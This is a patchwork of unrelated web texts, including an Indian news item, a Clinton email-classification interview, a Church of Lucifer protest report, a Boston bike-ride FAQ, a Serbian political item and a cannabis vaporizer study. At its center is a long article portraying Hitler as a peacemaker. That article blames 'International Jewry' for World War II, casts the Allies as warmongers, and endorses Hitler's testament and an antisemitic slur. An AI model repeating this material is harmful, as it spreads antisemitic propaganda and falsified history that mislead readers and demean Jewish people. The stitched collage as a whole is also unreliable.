Terror outfits like Al-Qaeda and ISIS have failed to find roots in India, thanks to the unity exuded by every section of Indian society, including Muslims, Union Minister for Minority Affairs Mukhtar Abbas Naqvi said here on Tuesday.The minister's observation came during a meeting with the Grand Mufti of Syria, Ahmad Badr Eddine Hassoun, who led a delegation that called on Mr Naqvi at his office here.One of the sons of Grand Mufti Hassoun was shot dead by IS militants.Mr Naqvi said, "India's culture and tradition is filled with peace, brotherhood and human values. Hajrat Imam Hussain (A.S) gave a strong message against terrorism and atrocities at Karbala. That message will remain relevant forever.""India is a country of different religions and languages. But our culture of brotherhood, tolerance, communal harmony and democratic values has maintained unity in diversity. This strength of India has defeated all evil forces who are trying to disturb peace and harmony," the minister said."Secularism is India's commitment and culture," he added.Mr Naqvi said India was playing a major role in worldwide efforts against terrorism and had adopted a zero-tolerance policy against terrorism, adding that the world had now realised that terrorism was not a problem of any particular country but that of the entire humanity.The Grand Mufti said India's cultural harmony, brotherhood, unity and culture of tolerance was an example and a source of inspiration for the entire world.He said that Islam has given a strong message against terrorism and all other forms of violence. "Islam has given message of human values, brotherhood and communal harmony," he added.Follow our FREE updates on Twitter and/or Friend us at Facebook * If you haven't already done so, be sure to sign up for our FREE Report & FREE Updates List at bottom of page.. PLEASE SUPPORT THIS AD-FREE SITE
ADOLF HITLER: MAN OF PEACE? By Mike King Left: Averting war with UK Prime Minister Chamberlain in 1938 Right: Making peace with French Marshal Petain in 1940
$100 CASH REWARD......for the first reader who can prove just one mistatement of a material fact, or find one misquote in the following presentation. TomatoBubble.com will issue an immediate public retraction / correction, and pay you $100 cash for your effort! Submit any misinformation you find to: greattomatobubble2@gmail.com Adolf Hitler's numerous, and reasonable, offers of peace to the Allied powers are a matter of indisputable historical record. Establishment 'Court Historians' cannot deny the reality of these reasonable offers, so they choose to simply ignore them instead.
. If the truth of Hitler's pleas for peace were to become widely known, it would stand the conventional narrative of World War II (and subsequent events) on its head. Consider the following true statements and events, and decide for yourself who the "aggressor" behind World War II really was. 1939 Hitler proposes peaceful solutions to the problem of the 'Polish Corridor'. After World War I, the victorious allies had carved up German territory and given part of Germany (Western Prussia) to the newly re-established nation of Poland. Eastern Prussia was left isolated; totally cut off from Germany. Tensions among Poles, Jews and minority Germans simmered in the area. To resolve the problem, Hitler makes numerous sensible proposals; which include: demilitarization of the key port areas, public referendum, accepting Gdynia as a Polish port city on the Baltic Sea, 1 km wide rail & road passages to link Eastern Prussia to Germany, or to link Poland to the Baltic Sea. ( here ) "BERLIN THINKS DOOR IS LEFT OPEN TO PEACEFUL SOLUTION" Even the pre-war August 28th headline of the Hitler-hating New York Times confirmed that Hitler sought to avoid war with Britain & France. Hitler's thoughtful letter to France is published in full. Finally, as attacks against Germans living in Poland escalate, Hitler proposes that the region be placed under International control. Every German proposal is ignored. We now know that, behind the scenes, US President Roosevelt had been pressuring Poland to not make any deals with Germany. ( here )
Six years before the war was to even start, International Jewry had already declared war against Germany. The "Polish Corridor" was to serve as the match which lit the flame.
LATE AUGUST - SEPTEMBER 1939 In 11th hour attempt to avert war, Hitler calls for emergency talks between Germany and Poland. Just three days before the actual outbreak of what was to become World War II, Britain agrees to come to the Poland's assistance in the event of a conflict with Germany. ( Anglo Polish Military Alliance ) This unecessary deal emboldens the Polish and Jewish militias who want the West to wage war upon Germany. To force Hitler's hand, terrorists begin murdering German civilians in large numbers. A British ex-Pat named William Joyce describes the events:
"On the nights of August 25 to August 31 inclusive, there occurred, besides innumerable attacks on civilians of German blood, 44 perfectly authenticated acts of armed violence against German official persons and property. These incidents took place either on the border or inside German territory. On the night of August 31, a band of Polish desperadoes actually occupied the German Broadcasting Station at Gleiwitz. Now it was clear that unless German troops marched at once, not a man, woman or child of German blood within the Polish territory could reasonably expect to avoid persecution and slaughter. " And yet, just prior to ordering the invasion of Poland (September 1, 1939), Hitler is still trying to resolve the situation peacefully by summoning the Polish Foreign Minister for talks. Unbeknown to Hitler, the fix was already in. After the 3 week German-Polish War ends in victory for the Germans, Hitler declares:. "I attempted to find a tolerable solution. I submitted this attempt to the Polish rulers. You know these proposals. They were more than moderate. I do not know what mental condition the Polish Government was in when it refused these proposals. As an answer, Poland gave the order for the first mobilization, and my request to the Polish Foreign Minister to visit me to discuss these questions was refused. Instead of going to Berlin, he went to London.”
Germans of all ages massacred in Poland
OCTOBER 1939 In speech before Reichstag, Hitler pleads with Britain & France to rescind recent war declarations.. Before the actual shooting was to start in the Western theatre, Hitler did all could to reassure Britian & France of his peaceful intentions. The two Allied powers had, under the pretext of saving Poland, both declared war upon Germany on September 3, 1939. Before the Reichstag, and the world, Hitler declares:. "I have always expressed to France my desire to bury forever our ancient enmity and bring together these two nations, both of which have such glorious pasts..... I have devoted no less effort to the achievement of Anglo-German understanding, no, more than that, of an Anglo-German friendship. At no time and in no place have I ever acted contrary to British interests..."Why should this war in the West be fought?" Britain (and later France) declares war. Meanwhile, Hitler declares peace!
MAY 1940 Hitler deliberately allows the British Army to escape at Dunkirk.. The German "blitzkrieg" across Holland and Belgium, as well as the earlier occupation of parts of Denmark and Norway, had denied the Allies of the opportunity to encircle Germany before invading it. As a show of good faith, and over the objectives of his own Generals, Hitler then allows the trapped Allied forces to escape untouched from the beaches of Dunkirk (France). Hitler hopes that this gracious act will make the British more willing to make peace. General Gunther von Blumentritt, in decribing the reasons behind Hitler's decison regarding Dunkirk, later explains:. "He (Hitler) then astonished us by speaking with admiration of the British Empire, of the necessity for its existence, and of the civilization that Britain had brought into the world.....He compared the British Empire with the Catholic Church saying they were both essential elements of stability in the world. He said that all he wanted from Britain was that she should acknowledge Germany's position on the Continent. The return of Germany's colonies would be desirable but not essential, and he would even offer to support Britain with troops if she should be involved in difficulties anywhere." The Allied army could have easily been captured. General Blumentritt reveals Hitler's admiration for the British and his desire to end the war.
MAY 1940 After having defeated France and chasing the British invaders off of the continent, Hitler, via Swedish third party, proposes generous peace terms to Britain. The Germans contact the British ambassador in Sweden, Victor Mallet, through Sweden´s Supreme Court Judge Ekeberg, who is known to Hitler´s legal advisor, Ludwig Weissauer. According to Mallet:
"Hitler, according to his emissary [Weissauer], sincerely wishes friendship with England. He wishes peace to be restored, but the ground must be prepared for it: only after careful preparation may official negotiations begin. Until then the condition must be considered that discussions be unofficial and secret. Hitler´s basic ideas [are that] today´s economic problems are different from those of the past [...] In order to achieve economic progress one must calculate on the basis of big territories and consider them an economic unit. Napoleon tried, but in his days it wasnt possible because France wasnt in the center of Europe and communications were too hard. Now Germany is in the center of Europe and has the necessary means to provide communication and transportation services.
England and America now have the best fleets and will naturally continue to, because they will need the oceans for their supply. Germany has the continent. In what concerns Russia (USSR), Weissauer has given the impression that it should be seen as a potential enemy. "
Hitler´s peace proposal is as follows:
1- The British Empire retains all its Colonies 2- Germany´s position on the continent will not be questioned
3- All questions concerning the Mediterranean and its French, Belgian and Dutch colonies are open to discussion
4- Poland. A Polish state must exist
5- The former Czechosolavkian states remain independent but under German protection Ekeberg understands that this implies that the states occupied by Germany would de-occupied. Germany´s occupation was only due to the present war situation. Churchill is not interested in making peace. (From 'Himmler's Secret War' By Martin Allen)
Thanks to Churchill, German peace efforts via Sweden failed. Ambassador Victor Mallet (left) walking with Princess Elizabeth (now Queen Elizabeth) and Prince Phillip.
MAY 1940
Churchill turns down Mussolini's offer to mediate peace between Germany and Britain.
On May 25, 1940, Giuseppe Bastianini, the Italian ambassador in London, requests a meeting with British Foreign Secretary Lord Halifax to discuss Italy's neutrality. Halifax meets Bastianini later that afternoon. The discussion soon moves to that of Italian mediation between the Allies and Germany. Bastiani reveals that the goal of Italian leader Benito Mussolini ( Hitler's close ally) is to negotiate a settlement "that would not merely be an armistice, but would protect European peace for the century." Halifax responds favorably to the idea and takes it to the British War Cabinet. The following morning Halifax gives his report, telling the Cabinet that in his opinion they "had to face the fact that it was not so much now a question of imposing a complete defeat upon Germany but of safeguarding the independence of our own Empire". Halifax summarizes his meeting with Bastianini and urges his colleagues to consider Italian mediation. Again, Churchill would have none of it! Instead of accepting any peace offers, Churchill's gang chose to frighten the British public with tales of imminent posion gas attacks from Hitler. For several days, Halifax continues to press for the Mussolini mediation. In an apparent attempt to placate Halifax, Churchill finally says that he "doubts whether anything would come of an approach to Italy, but that the matter was one which the War Cabinet would have to consider." But Churchill is lying to Halifax. Never did Churchill even consider Mussolini's offer to mediate peace between Britain and Germany. The matter eventually dies. The conflict between Churchill and Halifax became known as'The War Cabinet Crisis '.
1. Halifax (r) tried very hard to convince the warmonger Churchill (l) to at least hear Mussolini's mediation proposal. 2. Mussolini, shaking hands with UK Prime Minister Neville Chamberlain in 1938, had helped Britain and Germany to keep the peace of Europe at the Munich Conference of 1938. That's when Churchill wrongly condemned Chamberlain as an "appeaser" - a slanderous label that has clung to Chamberlain ever since.. JUNE 1940 Hitler d rops "peace leaflets" over London!. With Germany now in total control of the continent and riding high in "the driver's seat". Hitler continues his campaign for peace by bypassing the British press and air-dropping leaflets explaining the causes of the senseless war, and ending with "an appeal to "reason".
EXCERPT: "In this hour I feel it to be my duty before my own conscience to appeal once more to reason and common sense in Great Britain as much as elsewhere. I consider myself in a position to make this appeal, since I am not the vanquished, begging favors, but the victor speaking in the name of reason. I can see no reason why this war must go on. I am grieved to think of the sacrifices it will claim. I should like to avert them. As for my own people, I know that millions of German men, young and old alike, are burning with the desire to settle accounts with the enemy who for the second time has declared war upon us for no reason whatever. But I also know that at home there are many women and mothers who, ready as they are to sacrifice all they have in life, yet are bound to it by their heartstrings. Possibly Mr. Churchill again will brush aside this statement of mine by saying that it is merely born of fear and of doubt in our final victory. In that case I shall have relieved my conscience in regard to the things to come. ” 1- British 'Black propagandist' Sefton Delmer keeps the war-fires burning by mocking Hitler's peace leaflets. 2- Ignorant British soldier shown laughing as he reads Hitler's leaflets..
NOVEMBER 1940
The Vatican's 'Papal Nuncio' (ambassador) presents Hitler's peace proposal to British officials. This excerpt from 'Himmler's Secret War' describes a meeting held in Spain between the Papal Nuncio and British officials Hoare and Hilgarth in Spain; and the latest peace offer from Hitler:
"The nature of the concessions that the German Fuhrer was prepared to make in order to obtain peace with Britain must have astounded the men at the head of SO1. This was not even a deal worked out through a process of hard negotiation. It was Hitler's opening gambit.... an offer so generous and pragmatic that it would be very tempting to anyone who genuinely wanted peace. His (Hitler's) offer of such remarkable concessions was an extremely threatening development. Should the terms become public, it had the potential to render British resolve to stand firm against German aggression to a shuttering halt." Neither the Pope's prayers nor his emissaries could sway Churchill's gang away from their warpath.
May 1941 The Amazing Peace Mission of Deputy Fuhrer Rudolf Hess Deputy Fuhrer Rudolf Hess is Hitler's "Right Hand Man" and long time friend. He is Germany's 2nd in command, or perhaps 3rd (behind Air Marshall Goring). In May of 1941, at a time when Germany is winning the war, Hess (who is fluent in English) flies a solo mission over Scotland and parachutes in with an offer of peace. Hess is attempting to link up with what he believes to be British peace activists. Instead, he falls into Churchills hands; to be held in solitary confinement for the duration of the war. After the war, Hess is sentenced to life in East Berlin's Spandau Prison. With the liberalization of the USSR in the late 1980’s, there is talk o f finally releasing him. But he is said to have committed "suicide" in his cell in 1987. Many believes that the 93-year-old Hess was murdered so that details of his peace mission would re main buried forever.
One couldn't be any closer to Hitler than Rudolf Hess. Right: Old man Hess was imprisoned for nearly half a century. The public was to remain ignorant of his peace mission. 1940, 1941, 1942, 1943 Hitler maintains a standing generous peace offer on the table. Churchill, by his own admission, refuses to accept!
. At all times, the Hitler-Hess offer of total cessation of the war in the West remains on the table. Germany offers to evacuate all of France except Alsace and Lorraine, which would remain German. It would evacuate Holland and Belgium. It would evacuate Norway and Denmark. In short, Hitler wants to withdraw from Western Europe, except for the two French provinces and Luxembourg (Luxembourg was never a French province, but an independent state of ethnically German origin), in return for which Great Britain would agree to an attitude of benevolent neutrality towards Germany. In addition, Hitler is ready to withdraw from Yugoslavia and Greece. German troops would evacuate from the Mediterranean and Hitler would use his influence to arrange a settlement of the Mediterranean conflict between Britain and Italy. No country would be entitled to demand reparations from any other.
As Churchill leaves London to meet Roosevelt for a conference in Quebec late in the summer of 1943, a reporter asks if they were planning to offer peace terms to Germany. Churchill replied: “Heavens, no. They would accept immediately.” Again, in a 1944 letter to his ally, the mass murdering Bolshevik Joe Stalin, Churchill reassures Stalin that Britian will remain at war with Germany. In so doing, Churchill confirms the undeniable reality of Hitler's generous peace proposals: “We never thought of peace, not even in that year when we were completely isolated and could have made peace without serious detriment to the British Empire, and extensively at your cost. Why should we think of it now, when victory approaches for the three of us?” Churchill and FDR were very chummy with the great mass murderer Joseph Stalin; who worried that German peace offers might be accepted by his Western Allies.
APRIL 1945 Berlin Bunker: Hitler's Final Testament. On April 29, 1945, with the Red Army closing in, Hitler dictated the final public communication of his life, My Political Testament. Right up until the very end, when he had nothing to gain, Hitler wanted the world to know that he had never wanted war. Here's a telling excerpt: "More than thirty years have passed since 1914 when I made my modest contribution as a volunteer in the First World War, which was forced upon the Reich. In these three decades love and loyalty to my people have guided all my thoughts, actions and my life. They gave me the strength to make the most difficult decisions ever to confront mortal man. In these three decades I have spent my strength and my health. It is untrue that I or anyone else in Germany wanted war in 1939. It was wanted and provoked solely by international statesmen either of Jewish origin or working for Jewish interests. I have made too many offers for the limitation and control of armaments, which posterity will not be cowardly enough always to disregard, for responsibility for the outbreak of this war to be placed on me. Nor have I ever wished that, after the appalling First World War, there would ever be a second against either England or America. Only three days before the outbreak of the German-Polish war I proposed a solution of the German-Polish problem to the British Ambassador in Berlin - international control as in the case of the Saar. This offer, too, cannot be lied away. It was only rejected because the ruling clique in England wanted war, partly for commercial reasons and partly because it was influenced by the propaganda put out by international Jewry. Given what we have just learned about Hitler's numerous attempts to first prevent, and to then stop the war - the claims of innocence made in his Final Testament do indeed ring true. Hitler's Testament is supported by the private diaries of famed British authors Harold Nicolson and Evelyn Waugh, who quote the 5th Duke of Wellington on the day war broke out as saying: "It's all the fault of the anti-appeasers and the fucking Jews." (here) The bloody war which either killed, maimed or traumatized scores of millions of innocent people did not have to happen. What a shame. What a damn shame! $100 CASH REWARD... COMMENTS / FEEDBACK / INSULTS / KUDOS greattomatobubble2@gmail.com What else haven't you been told about World War II? Read 'The Bad War' and find out!
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TOP OF PAGE HOME UPDATESToday is World Puppetry Day, a day meant to celebrate puppeteers and the work they do.
Though in these jaded times, puppets are often seen in the public eye as children’s entertainment, people of all ages have used and loved puppets |
derived from the source document. So anything they got from the intelligence agencies or the military that originally had a classification on it is itself classified. Whether they excerpt a sentence or they try to talk about it obliquely, it has derivative classification.
The other way that something gets classified is by its originator. So you go out and you meet an Iranian diplomat who tells you all sorts of juicy stuff and you come back and you write a report about that. You’re the first person to touch that and you assign a classification to that. You are given training as part of this to understand that information is supposed to be classified. So if Huma and Hillary are bouncing emails back and forth talking about how best to approach the Chinese next week, they are expected to exercise a level of judgment to know that that information is extremely sensitive and should have been labeled classified because it was in fact something that was classified under the executive order which lays down a set of things that are classified.
So, her saying that it wasn’t classified at the time, it just doesn’t pass any kind of reality test. It either was derivatively classified from the intelligence community, which is what it sounds like just based on the little bit that we’ve heard, or it was classified information that she and her aides chose not to mark as classified so they could futz it through her homebrew server and not enter the State Department system with it.
BN: Say there was derivative information that was sent to her and therefore appeared in her inbox. Is it plausible that she didn’t recognize ever, in any case, that any of this material was classified?
PVB: There’s only two answers to that. One is… Of course she knew it was classified material. And that’s not a good thing at all that she continued to process it on an unclass system. The other would be, forgive me for being a little sarcastic, after all her years in the White House, and in the Senate, and as Secretary of State she didn’t recognize something that should have been classified or was classified? That’s not a good thing either. And those are the only two options I can come up with to explain her statement and neither of them points to a very good thing.
BN: Is it fair to say that only one of them points to a potential investigation or even prosecution?
PVB: I’m not a laywer, but I think we have to separate those two words out very clearly. Prosecution is when enough information is available to say someone has violated a law. You can only prosecute someone following some form of investigation. There is no question in anyone’s mind with a security clearance that if a senior official like the Inspector General said “You have had classified information on an unclassified system”… Every single person with a classification understands that they are going to be investigated at some level for doing that. It simply is the opposite of how the system is supposed to work. To say that there is any reason to, sort of, shrug your shoulders at what Clinton has done simply goes against the entire spirit, if not the law, of the concept of protecting the U.S. government’s secrets.
BN: Based on the referral—which was not specific to Hillary Clinton though it apparently did specify the classified material found in her inbox—do you think there will be DOJ follow through? Are they going to investigate?
PVB: That obviously gets way deep into the politics of all these things. You know, whether everybody gets treated exactly the same way or whether there are special rules for special people. Now this is just a personal opinion… It’s clear she has done stuff that is way out of the bounds of what any other employee in the State Department would be allowed to do without an investigation. And pretty much anybody in the government… It’s pretty darn hard to imagine someone in the CIA being told by the CIA’s Inspector General that they had classified information on an unclass system and well, you know, sorry about that, we’ll just look the other way.
Now whether DOJ will do it or not? I have my doubts. I think politics will carry the day here. They have so far. Lots and lots of people inside the State Department knew what was going on. There was no question in anyone’s mind what was going on at senior levels here. And nobody seemed to say anything. People like Pat Kennedy, who was the official classifying authority for the Department of State and who made quite a show testifying against Bradley Manning in that capacity, was sending and receiving email, knowing what Clinton was doing. And nobody said anything about it during the four years she was there. Nobody said anything about it in the two years until this finally came out publicly. If nobody did anything about it during all that time, personally it’s hard to imagine DOJ cranking something up at this point when it’s even more politicized than it would have been a couple of years ago.Protester angry over Greater Church of Lucifer opening (Screenshot/ABC13)
Christians in Spring, Texas, appear to be trying to run the Church of Lucifer out of town, ABC13 reports.
The Luciferians officially opened their doors on Friday, with their first meeting scheduled for Saturday. But they were greeted by a vocal group of Christians after having their building vandalized this week. Video taken by ABC13 Friday evening shows protesters upset with the organization’s presence gathered outside, with a law enforcement presence needed to keep the peace.
“This is what we get when we have freedom of religion,” protester Christine Weick told ABC13 angrily. “We ought to be filling up the whole street here, that they have to pass through us to get into that church.”
White continued to say that God loves the Luciferians “enough to say, ‘you either bow now, or you will be forced to bow later,’ and then it’s too late.”
The church had been vandalized ahead of its opening. Someone with a chainsaw hacked off a large tree branch and sent it crashing into the building’s roof, KHOU reports.
“We have an absolute right to be here, legally,” Greater Church of Lucifer co-president Michael Ford told RT. “I always feel sorry for so-called Christians who feel so insecure in their belief that they have to come out here and waste their time when they’re not going to change our mind, and we’re not going to change theirs.”
Ford said the organization is philosophical and their “services” are more of a meeting of minds. There is no devil worship or animal sacrifice that takes place, and they have no intention of converting anyone.
“They just believe that that’s what happens. That’s what they spew,” he told ABC13.
One sign held by protesters read, “Mary Queen of the Angels crush Lucifer’s head!” Another read, “We are one nation under God and Satanism is NOT an American value.” A woman bellows that, “Jesus is calling on your today!”
Despite the less-than-warm welcome, the organization said on its Facebook page that its opening was successful with plans to hold its first meeting still scheduled for Saturday.
“I have to say that we as a group lead by example,” church member Jacob No wrote. “We [were] the ones who handled all adversity at hand with perfection and respect.”
It’s not the first time people following the philosophical, historical and literary figure of what Christians believe to be the fallen angel Lucifer have faced violence.
In July, the Satanic Temple had to move the unveiling of its Baphomet statue to a secret location in Detroit after Christians there made threats that they would blow it up.
Both the Church of Lucifer and Satanic Temple do not worship a supernatural devil figure, but instead follow tenets that resemble those of humanism.
Watch the report, posted by ABC13, here:James Cobalt
Buy your tickets now:
1. Bike Transportation For Train Riders
2. Post-Ride Pancake Breakfast
What is the Midnight Marathon Bike Ride?
The ride is an annual Boston tradition where over 1,000 people bike the same route as the Boston Marathon in the early dark hours of Marathon Monday. During this time the roads are still open to vehicular traffic… and bicycles are vehicles! The ride is not a race nor is it a paid event; it is however a unique shared experience, a fun way to meet people, and a decent workout.
Due to the organic and non-commercial nature of the ride, there is no official support crew during the actual bike ride, which means you are responsible for your own safety throughout the ride; with that said, due to the pro-community nature of the ride, it is usually very easy to get help.
What are the absolute essentials to know?
The ride is unsupported and show-and-go, meaning you can ride on the route with friends at any time on the roads as long the roads are open and you follow the rules of the road. The main group coming on the train arrives at Southborough Station at midnight, but many people organize their own carpools and rides, like this out-and-back ride.
NO BIKES WILL BE ALLOWED ON THE COMMUTER RAIL OR SUBWAY at all on Sunday or Monday of Marathon weekend. This will be strictly enforced by MBTA and Keolis staff. Please don’t try to bring your bike on any trains; you will likely be turned away.
Bike transportation is available for people who can get themselves to Southborough Station via train, taxi, or carpool. Only a limited number of tickets are available for bike transportation. Bikes will be picked up near South Station and trucked to the commuter rail station in Southborough.
Boston Common Coffee Company is organizing a post-ride Charity Pancake Breakfast. Buy your tix in advance!
Unlike last year, there are two route options thanks to the expected reopening of the Start and Finish lines.
New this year- a rest area along the way. Details will be posted to Facebook soon.
Can I take my bike on the commuter rail train?
No. This year, the MBTA is enforcing a no-bikes policy on Sunday and Monday on all T train systems. You will not be allowed to board the train with your bicycle at any time on Sunday or Monday, and will likely be turned away if you try.
Where can I get updates?
To receive updates, sign up for our events newsletter and/or join the Midnight Marathon Bike Ride Community Group on Facebook. You can also show your support by Liking the Midnight Marathon Ride Page.
Where can I rent a bike?
You can rent a bike from nearly any bike shop. Here are a few popular choices with online booking:
Urban Adventours has a wide range of bikes available for rental and has a convenient downtown location right next to Faneuil Hall at 103 Atlantic Ave. Their hybrids are $35/day and their road bikes range from $75 to $200 for every 24 hours. They also offer bike tours of the city.
BackBayBicycleBoston offers road bikes at $65/day. MyBike offers affordable hybrid bike rentals at $25/day or $60 for up to 30 days.
What’s the route?
Route A: At 30.6 miles, this is the traditional Midnight Marathon route- including a large, steep hill on Cedar St shortly after starting. This route brings you across the Boston Marathon Start Line in Hopkinton. Police ask that you do not stop at the Start Line for photos nor to wait for people. Please pedal straight through and on according to the Route A Map.
Route B - This shorter route at 27.3 miles also benefits from avoiding the Cedar St hill. This is the route we did last year- joining the main Boston Marathon route at the 4 mile mark. If you’re starting late, looking to get downtown early, or just want to avoid that awful hill, check out the Route B Map.
Is there an after party?
How can I get to the start of the ride?
There will be a post-ride pancake breakfast hosted by Boston Common Coffee near the finish spot from 12:30am to 4:30am. Tickets are $15.00 which includes 3 pancakes, 2 strips of bacon, and a choice of coffee or water. There are a limited number of tickets, and while some may be available at the door, we strongly encourage you to purchase them in advance here
The ride will start from the larger of the two Southborough Station parking lots after the final train from Boston arrives around midnight. There are a number of ways to participate in the ride this year, however, taking your bike onto the commuter rail isn’t one of them. There will be no chartered trains this year. Your options are:
Our Bike Transport + Your Train Ticket: Let us transport your bike from Boston to Southborough while you ride the train with other Midnight Marathoners. Due to this year’s restrictions on bike transportation on trains, we have hired trucks and drivers to transport bikes from Boston to Southborough. After dropping your bike off with us you can take the 11pm train from South Station to Southborough, where you’ll find your bike will waiting for you. Bike Transportation For Train Riders.
Let us transport your bike from Boston to Southborough while you ride the train with other Midnight Marathoners. Due to this year’s restrictions on bike transportation on trains, we have hired trucks and drivers to transport bikes from Boston to Southborough. After dropping your bike off with us you can take the 11pm train from South Station to Southborough, where you’ll find your bike will waiting for you. Bike Transportation For Train Riders. Find a ride or carpool: Convince a friend or family member to give you a ride, or post in our Midnight Marathon Community Group to seek & organize group transportation options, including car pools and shared taxis.
Convince a friend or family member to give you a ride, or post in our Midnight Marathon Community Group to seek & organize group transportation options, including car pools and shared taxis. Ride out and back: If you’re in good shape, you can ride out and back with friends, or join this existing group. Their 50+ mile ride leaves Boston at 9pm for a leisurely ride to the starting point. Food and drinks usually make an appearance while waiting for the other riders to arrive at midnight for the ride back.
If you’re in good shape, you can ride out and back with friends, or join this existing group. Their 50+ mile ride leaves Boston at 9pm for a leisurely ride to the starting point. Food and drinks usually make an appearance while waiting for the other riders to arrive at midnight for the ride back. Take an earlier train: There are trains from Boston to Southborough nearly every 2 hours.
There are trains from Boston to Southborough nearly every 2 hours. Volunteer: We are seeking volunteers for a few roles, including a very small number of extremely fit, friendly, and patient volunteers to help load and unload bikes from 8:00pm to 12:30am and bike slower than the crowd to perform a sweep.
What do I need to bring?
Remember: This bike ride is unsupported, meaning you are responsible for your own navigation, safety, flat repair, hydration, and sustenance during the ride, and getting home once you’re done.
So you don’t get lost, stranded, or scared:
Bring a print copy of the cue sheet and map, even if you are bringing your phone with the GPS route. It’s important to have an analogue backup in case all else fails.
A spare tube, a portable pump, and/or a patch kit, even if you don’t know how to use them; it’s usually pretty easy to find someone with know-how to help. Be prepared.
A fully charged cell phone (even though there are areas where you probably won’t have a signal) with maps if you have a smartphone. It may come in handy to call a friend or a cab for a lift if you do get stranded, or in case of emergency.
So you don’t get hungry and tired:
Pack at LEAST 1-2 bottles of water AND some food/snacks. 26 miles is a workout on a bike, and the only convenience stores open before you reach the city are ⅓ of the way into the route. Remember, there are no bathrooms set up for the ride along the way. Plan accordingly.
For safety:
Bike lights with fresh batteries. Much of the ride is pitch black- you’ll need front AND rear lights to not only see where you’re going, but so others can see you to prevent accidents. Don’t believe us? Take it from a bike lawyer.
A helmet!
For the weather:
Something warm for the colder temperatures (it tends to be colder outside the city… and at night). Layers you can take off or put on are key.
Bring something to keep your hands, feet, and head warm. bring an extra pair of wool socks, warm and waterproof gloves, and earmuffs or some kind of scarf or ski mask.
Something waterproof for your body, legs, AND feet in case it rains (and it might rain like it did unexpectedly in 2012)
Bike tights or shorts. Or any tight non-cotton underwear. Trust us, riding 2-3 hours on a bike with chafing is no fun, and tights or bike shorts WILL help.
How can I get home after (or during) the ride?
Bring a heavy duty lock in case you need to lock your bike up in order to get home. The MBTA shuts down at 1am and reopens at 5:30am, albeit with bike restrictions. If you can’t bike or drive home, we recommend attending the pancake breakfast then waiting for the MBTA to re-open; you won’t be the only one. Note, you won’t be able to stay inside at the breakfast if your party finished eating and there are others waiting for a table.
If you have a folding bike you can easily get a cab or use public transit. You may also try your luck getting a minivan (or breaking your bike down to fit into a large car) by using Uber or calling one of these cab companies:
Ashland: 508-745-3802 Framingham: 508-309-7767
Natick: 508-653-2300 Wellesley: 781-235-2999
Newton: 617-332-8294 Brighton: 617-536-5000
Greater Boston (MetroCab): 617-782-5500
Is there anything else I need to know?
YES! PLEASE PLEASE PLEASE be aware of upcoming railroad track crossings. There are a total of three track crossings on the route (two in Framingham, and one in Cleveland Circle, all marked on our online route) and every year countless people cross them at a bad angle and sometimes get hurt. You must either walk your bike across the tracks or slow down and bike across perpendicular to the tracks, like so:
Also, HAVE FUN. Midnight Marathon Bike Ride is all about being together on bikes with friends and strangers alike! It will be AWESOME.Foto: BorisTadic. org / screenshot
Svi koji preko interneta budu bili u potrazi za sajtom lidera SDS Borisa Tadića, mogu se vrlo neprijatno (ili prijatno) iznenaditi ukoliko, na primer, posete stranicu www.boristadic.org.
Foto: BorisTadic. org / screenshot
Iako sajt nosi ime i prezime bivšeg predsednika Srbije, zapravo se radi o sajtu sa pornografskim sadržajem, odnosno porno snimcima, fotografijama, oglasima...
Sajt je na kineskom jeziku, bez opcije za engleski, pa se malo šta razume, ali slike govore više od reči. Takođe, u ponudi je i opcija za deljenje sadržaja sajta preko društvenih mreža, među kojima su i i Tviter i Linkdin.
Da li je samo slučajnost u pitanju, ili neko žarko želi da napakosti lideru SDS Borisu Tadiću, pitanje je pod velom tajne.
U njegovoj stranci su iznenađeni, da prvi put čuju za postojanje ovakvog sajta, i ovo “delo” pripisuju političkim protivnicima.
- Našim političkim protivnicima očigledno ne manjkaju makjavelističke metode u političkoj borbi, ali im očigledno nedostaje kreativnost. Dramskoj sekciji ponestaje kreativnih ideja. Sada javnost može i na ovom primeru jasno da vidi da ova vlast ne preza ni od čega - kaže Konstantin Samofalov iz SDS-a.As states like Minnesota and New York are passing medical marijuana bills that disallow smoked cannabis, vaporization is becoming an increasingly popular intake method for patients. Studies have shown that vaporized cannabis could help treat a plethora of conditions, including neuropathic pain.
However, there is relatively little information available as to the science behind how each individual vaporizer performs. It is with this in mind that the research team at Massachusetts Cannabis Research Labs (MCR Labs) decided to conduct a series of experiments and publish their White Paper – Dosing Cannabis Accurately Using A Vaporizer.
Cannabinoid Dosing With The Magic Flight Launch Box
According to Michael Kahn, President and Founder of MCR Labs, the team set out to provide patients with quantitative data to help them answer some of the most common questions asked by patients when vaporizing.
The main questions that he wanted to answer include “How much of a given cannabinoid is being consumed with each draw,” “how many draws before all the beneficial compounds have been extracted,” and “What is left behind when you finish vaporizing?”
“MCR Labs found that the active cannabinoids were consumed after 40 draws, at a rate of 0.3 mg of tetrahydrocannabinol (THC) per draw.”
By answering these questions, Kahn and MCR Labs research team believe they can help patients more consistently and accurately dose themselves with their vaporizer of choice. The first unit chosen for investigation was the Magic Flight Launch Box.
In order to attain the required data, they used a batch of an Indica-dominant hybrid named Mango. They then proceeded to record the cannabinoid profiles of an unused sample, and the same sample after various usage times.
As explained in the MCR Labs White Paper, tests were conducted in a laboratory setting under “carefully controlled conditions.” The researchers outlined their procedure as follows:
Ground cannabis flower product Aliquot (divide) into approximately 100 milligram (mg) portions Take 10-second slow draws (as described in the Magic Flight Launch Box manual) After each time point, remove all remaining cannabis for quantitative profiling by high-performance liquid chromatography (HPLC)
According to the results, “MCR Labs found that the active cannabinoids were consumed after 40 draws, at a rate of 0.3 mg of tetrahydrocannabinol (THC) per draw.”
It’s important to note, however, that the cannabinoid profile was “significantly altered” over the course of 30+ draws. There was a decline in maximum THC (a theoretical equation that accounts for THC and THCA) and an increase in cannabinol (CBN), as shown in the graph below.
With so many different models of vaporizers available today, it would be impossible come up with precise data that applies to each individual vaporizer on the market – the same experiment must be performed on each model (with repeatable results) to be deemed truly valid across the map.
The MCR Labs research team are very aware of this fact, and they plan to replicate this experiment with many more vaporizers, while exploring the role that varying cannabinoid levels in the original material could play. They are referring to their plan as the Vape Ex Program, and Kahn hopes to see vaporizer companies start putting this information in their instruction manuals.
Still, this particular experiment should be considered a great start. Patients who use the Magic Flight Launch Box as described above can use these results to gain more knowledge about vaporizing with their unit.EDEN
I went to the show in Boston for the Vertigo tour. Since I had a VIP meet and greet ticket, I was able to get a picture with him and listen to the soundcheck. We didn't really have much time, as there were so many people there, but he was so nice and kind, it actually shocked me. Like, i expected him to be chill, but he was just so nice to me. And all he said was like two sentences to me wtf
